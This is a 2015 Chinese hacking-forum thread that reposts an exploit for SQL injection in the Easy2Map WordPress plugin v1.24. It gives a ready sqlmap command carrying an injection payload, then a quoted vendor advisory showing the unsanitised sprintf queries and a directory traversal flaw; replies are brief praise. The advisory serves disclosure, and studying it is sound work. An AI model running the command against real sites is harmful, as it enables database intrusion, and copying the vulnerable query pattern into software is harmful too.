查看: 93633|回复: 152

WordPress Easy2Map Plugin 1.24注入漏洞

[复制链接]
  • TA的每日心情

    6 天前
  • 签到天数: 1627 天

    [LV.Master]伴坛终老

    发表于 2015-7-10 19:33:16 | 显示全部楼层 |阅读模式

    Exploit Code:
    [PHP] 纯文本查看 复制代码
    sqlmap -u 'http://www.ihonker.org/wp-admin/admin-ajax.php' --data="mapID=11&mapName='+or+1%3D%3D1%3B&action=e2m_img_save_map_name" --cookie=COOKIE HERE --level=5 --risk=3


    [PHP] 纯文本查看 复制代码
    Title: SQL Injection in easy2map wordpress plugin v1.24
    Author: Larry W. Cashdollar, @_larry0
    Date: 2015-06-08
    Download Site: [url]https://wordpress.org/plugins/easy2map[/url]
    Vendor: Steven Ellis
    Vendor Notified: 2015-06-08, fixed in v1.25
    Vendor Contact: [url]https://profiles.wordpress.org/stevenellis/[/url]
    Advisory: [url]http://www.vapid.dhs.org/advisory.php?v=131[/url]
    Description: The easiest tool available for creating custom & great-looking Google Maps. Add multiple pins and customize maps with drag-and-drop simplicity.
    Vulnerability:
    The following lines in Function.php use sprintf() to format queries being sent to the database, this doesn't provide proper sanitization of user input or
    properly parameterize the query to the database.
     
    90         $wpdb->query(sprintf("UPDATE $mapsTable
    91         SET PolyLines = '%s'
    92         WHERE ID = '%s';", $PolyLines, $mapID));
     
    .
    .
    .
    163             $wpdb->query(sprintf("
    164                 UPDATE $mapsTable
    165                 SET TemplateID = '%s',
    166                     MapName = '%s',
    167                     Settings = '%s',
    168                     LastInvoked = CURRENT_TIMESTAMP,
    169                     CSSValues = '%s',
    170                     CSSValuesList = '%s',
    171                     CSSValuesHeading = '%s',
    172                     MapHTML = '%s',
    173                     IsActive = 1,
    174                     ThemeID = '%s'
    175                 WHERE ID = %s;",
    176                     $Items['mapTemplateName'],
    177                     $Items['mapName'],
    178                     urldecode($Items['mapSettingsXML']),
    179                     urldecode($Items["mapCSSXML"]),
    180                     urldecode($Items["listCSSXML"]),
    181                     urldecode($Items["headingCSSXML"]),
    182                     urldecode($Items["mapHTML"]),
    183                     $Items['mapThemeName'],
    184                     $mapID));
    185         } else {
    186 
    187             //this is a map insert
    188             if (!$wpdb->query(sprintf("
    189             INSERT INTO $mapsTable(
    190                 TemplateID,
    191                 MapName,
    192                 DefaultPinImage,
    193                 Settings,
    194                 LastInvoked,
    195                 PolyLines,
    196                 CSSValues,
    197                 CSSValuesList,
    198                 CSSValuesHeading,
    199                 MapHTML,
    200                 IsActive,
    201                 ThemeID
    202             ) VALUES ('%s', '%s', '%s', '%s', 
    203                     CURRENT_TIMESTAMP, '%s', '%s', '%s', '%s', '%s', 0, '%s');",
    204                     $Items['mapTemplateName'],
    205                     $Items['mapName'], str_replace('index.php', '', easy2map_get_plugin_url('/index.php')) .     "images/map_pins/pins/111.png",
    206                     urldecode($Items['mapSettingsXML']), '',
    207                     urldecode($Items["mapCSSXML"]),
    208                     urldecode($Items["listCSSXML"]),
    209                     urldecode($Items["headingCSSXML"]),
    210                     urldecode($Items["mapHTML"]),
    211                     $Items['mapThemeName']))) 
    .
    .
    267         $wpdb->query(sprintf("
    268             UPDATE $mapsTable
    269             SET MapName = '%s',
    270             LastInvoked = CURRENT_TIMESTAMP,
    271             IsActive = 1
    272             WHERE ID = %s;", $mapName, $mapID));
     
    In MapPinImageSave.php, code isn’t sanitized when creating a directory allowing ../ to create files outside of intended directory:
     
    4 $imagesDirectory = WP_CONTENT_DIR . "/uploads/easy2map/images/map_pins/uploaded/" . $_GET["map_id"] . "/";
    .
    .
    11 if (is_uploaded_file($_FILES["pinicon"]['tmp_name'])) {
    12 
    13     if (!file_exists($imagesDirectory)) {
    14         mkdir($imagesDirectory);
    15     }
    
    回复

    使用道具 举报

    该用户从未签到

    发表于 2015-7-11 09:19:57 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-11 18:26:07 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-12 11:26:05 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-13 21:34:04 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-17 16:18:36 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-18 05:24:34 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-18 22:20:29 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-19 02:28:51 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-19 17:00:42 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-13 14:37 , Processed in 0.027269 second(s), 16 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部